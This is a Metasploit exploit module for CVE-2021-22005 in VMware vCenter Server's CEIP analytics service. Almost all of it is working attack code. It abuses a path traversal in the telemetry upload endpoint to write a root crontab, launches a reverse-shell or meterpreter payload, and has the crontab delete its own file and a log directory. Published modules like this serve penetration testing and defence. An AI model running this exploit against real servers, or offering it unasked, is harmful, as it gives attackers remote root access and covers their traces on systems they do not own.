VMware vCenter Server Analytics (CEIP) Service File Upload Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload',
        'Description' => %q{
          This module exploits a file upload in VMware vCenter Server's
          analytics/telemetry (CEIP) service to write a system crontab and
          execute shell commands as the root user.

          Note that CEIP must be enabled for the target to be exploitable by
          this module. CEIP is enabled by default.
        },
        'Author' => [
          'George Noseevich', # Discovery
          'Sergey Gerasimov', # Discovery
          'VMware', # Initial PoC
          'Derek Abdine', # Analysis
          'wvu' # Analysis and exploit
        ],
        'References' => [
          ['CVE', '2021-22005'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'],
          ['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'],
          ['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'],
          ['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee']
        ],
        'DisclosureDate' => '2021-09-21',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'WfsDelay' => 60
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),
      'vars_get' => {
        '_c' => ''
      }
    )

    return CheckCode::Unknown unless res

    unless res.code == 200 && res.body == '"FULL"'
      return CheckCode::Safe('CEIP is not fully enabled.')
    end

    CheckCode::Appears('CEIP is fully enabled.')
  end

  def exploit
    print_status('Creating path traversal')

    unless write_file(rand_text_alphanumeric(8..16))
      fail_with(Failure::NotVulnerable, 'Failed to create path traversal')
    end

    print_good('Successfully created path traversal')

    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end

    print_warning("Please wait up to #{wfs_delay} seconds for a session")
  end

  def execute_command(cmd, _opts = {})
    print_status("Writing system crontab: #{crontab_path}")

    crontab_file = crontab(cmd)
    vprint_line(crontab_file)

    unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file)
      fail_with(Failure::PayloadFailed, 'Failed to write system crontab')
    end

    print_good('Successfully wrote system crontab')
  end

  def write_file(path, data = nil)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),
      'ctype' => 'application/json',
      'vars_get' => {
        '_c' => '',
        '_i' => "/#{path}"
      },
      'data' => data
    )

    return false unless res&.code == 201

    true
  end

  def crontab(cmd)
    # https://man7.org/linux/man-pages/man5/crontab.5.html
    <<~CRONTAB.strip
      * * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/
      * * * * * root #{cmd}
    CRONTAB
  end

  def crontab_path
    "/etc/cron.d/#{crontab_name}.json"
  end

  def crontab_name
    @crontab_name ||= rand_text_alphanumeric(8..16)
  end

end